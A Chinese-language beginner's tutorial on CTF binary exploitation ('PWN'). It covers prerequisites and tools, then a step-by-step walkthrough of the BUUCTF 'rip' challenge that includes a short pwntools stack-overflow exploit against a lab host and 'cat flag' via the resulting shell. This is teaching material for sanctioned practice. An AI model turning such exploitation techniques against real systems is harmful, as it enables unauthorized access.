什么是 PWN?
PWN
是黑客术语中的俚语,是指攻破设备或者系统。它的发音类似于“砰”
,当然也有师傅把它叫作“胖”
。PWN 的目标是获取系统的控制权或执行未经授权的操作。
如何入门 PWN
前置知识
-
C 语言
- 学习内容:
- 程序结构和基础语法
- 数据类型、分支语句(如
if
、switch
)和循环(如for
、while
) - 指针和结构体
- 学习资源:
- 学习内容:
-
Python 语言
- 学习内容:
- 程序结构和基础语法
- 循环(
for
、while
)和异常处理(如try
)
- 学习资源:
建议:掌握 C 语言后,可以直接用文章进行 Python 的学习,进度会更快。
- 学习内容:
-
汇编语言
- 常见类型:
- x86 汇编:Intel 和 AMD 的处理器架构
- ARM 汇编:用于移动设备
- MIPS 汇编:用于嵌入式系统
- PowerPC 汇编:曾用于苹果计算机
- RISC-V 汇编:开源架构,逐渐获得关注
- 学习资源:
基础要求:理解基本的汇编指令(如
pop
、push
、jmp
)和程序流程即可。 - 常见类型:
-
ELF 相关知识
- 学习内容:
- ELF 文件的组成部分
- 各部分的作用
- 常用的保护机制
- 学习资源:
在后续文章中会有简单介绍
- 学习内容:
-
Linux 操作系统基础
- 学习内容:
- 基本的 Linux 命令(如
cd
、ls
、cat
) - 系统调用函数(如
execve
) - glibc 库
- 基本的 Linux 命令(如
- 学习资源:
在后续文章中会有简单介绍
基础要求:能够使用基本的 Linux 命令,了解系统调用函数和 glibc 库的基本知识。
- 学习内容:
工具和资源
-
虚拟机和操作系统:
- 建议:搭建一个
Ubuntu
虚拟机环境,以便调试和解决题目。 - 尽管大部分题目都使用Ubuntu环境,但这并不意味着你必须要使用 Ubuntu 作为你的主力操作系统 。你仍旧可以选择继续使用你喜欢的其他 Linux 发行版(如,Arch、Debian、openSUSE、Fedora、NixOS 等)然后使用
Docker
来模拟Ubuntu
环境
- 建议:搭建一个
-
工具:
- IDA:逆向分析工具
- Python + pwntools:用于编写漏洞利用脚本
- gdb + pwndbg/peda:用于调试二进制文件
- QEMU:有些题目需要它来模拟环境(对于基础入门并不是必须的工具)
注意:入门阶段不需要配置复杂的环境,基础的调试和利用工具足够。
PWN 大致内容
- 栈溢出与 ROP 链:理解栈溢出漏洞和如何利用返回-oriented programming(ROP)来绕过安全保护机制。
- 格式化字符串:学习如何利用格式化字符串漏洞来进行攻击。
- 整数安全:了解整数溢出等安全问题。
- 堆漏洞利用:探索如何利用堆上的漏洞进行攻击。
- 异架构:理解不同架构(如 x86、ARM)的特点和攻击方法。
- 内核漏洞:深入研究内核漏洞 (可能这并不基础...)
做PWN题的大致流程
这里使用buuctf中PWN板块的第二题rip
为例子:BUUCTF在线评测 (buuoj.cn)
1. 下载和启动靶机
点开题目,里面会有一个可以下载的文件,以及启动靶机
四个大字。如下图:
2. 将文件传入Linux虚拟机
打开Linux虚拟机,下载这个附件并将这个附件传入到Linux虚拟机中。此时我们可以看到这个附件叫pwn1
3. 检查二进制文件的安全性和架构
使用checksec
工具(安装pwntools
后就有了)去查看它的架构和位数以及保护开启的情况,这里因为是基础题所以什么保护都没有
4. 反编译和分析二进制文件
将文件拖动到IDA这类反编译工具中,对二进制文件进行反编译
下图中这个非常有魅力的女人头像的工具就是我们的IDA
刚刚我们通过checksec
已经知道了pwn1
他是64位的,那么就拖入64位的IDA中(其实如果你拖错了,IDA会提示你搞错了,所以checksec
的主要功能是查看开启了什么保护)
拖入后会看到这个画面,直接OK
就完事了
然后进入后,我们在左侧的Functions栏里面找到main函数并点击他
选中main函数后,按TAB键(一般在Q的左边)或者按F5键,此时就会显示伪C语言代码
5. 理解代码和找出漏洞
看懂代码(需要学习C语言),找出漏洞(需要学习相关的PWN知识),编写python脚本(需要学习python语言和使用pwntools等库)
pwntools的使用后续会进行介绍
#PWN1 exp
from pwn import *
context.log_level = 'debug'
#io = process('./pwn1') # 本地
io = remote('node5.buuoj.cn',28735)
payload = b"A"*15
payload +=p64(0x401186)
io.sendline(payload)
io.interactive()
这里我编写了python脚本,并将其命名为exp.py
6. 创建靶机并运行脚本尝试攻击
- 使用
nc
:用nc
命令连接靶机(如nc node5.buuoj.cn 28735
)进行测试。- 测试脚本:将脚本中的地址和端口替换为靶机提供的实际地址和端口。
- 检查结果:确认脚本是否能正确获取flag,解决
EOF
错误的问题。
点击启动靶机
会得到一串nc地址,这个可以在Linux中使用nc
工具进行连接
这里我们使用python脚本去攻击它的时候,需要将其放入python脚本中
比如:io = remote('node5.buuoj.cn',28735)
我们尝试运行这个脚本
然后输入指令cat flag就可以拿到我们想要的东西了,复制flag去平台提交即可
如果没有打通的话会输出提示
[*] Got EOF while reading in interactive
表示连接断开了,此时你输入cat flag是没有用的
刷题平台推荐
BUUCTF在线评测 (buuoj.cn)
题库 | NSSCTF
pwn.college
ctf.show
其中ctfshow
大部分题目是收费的,但是里面的题目较为系统化,从简单到困难,因此我个人比较推荐
学习PWN是非常漫长的过程,需要学习大量知识,以及进行大量的练习。许多难以理解的问题可能很长一段时间都无法得到解决,复杂的漏洞利用也常常想让人放弃。所以在文章的最后我想分享翁恺老师的一段话:“计算机里的所有东西都是人做出来的,别人能想的出来的,我也一定能想的出来。在计算机里头没有任何黑魔法。所有的东西只是我现在还不知道而已,总有一天我会把所有细节所有内部的东西全都搞明白。”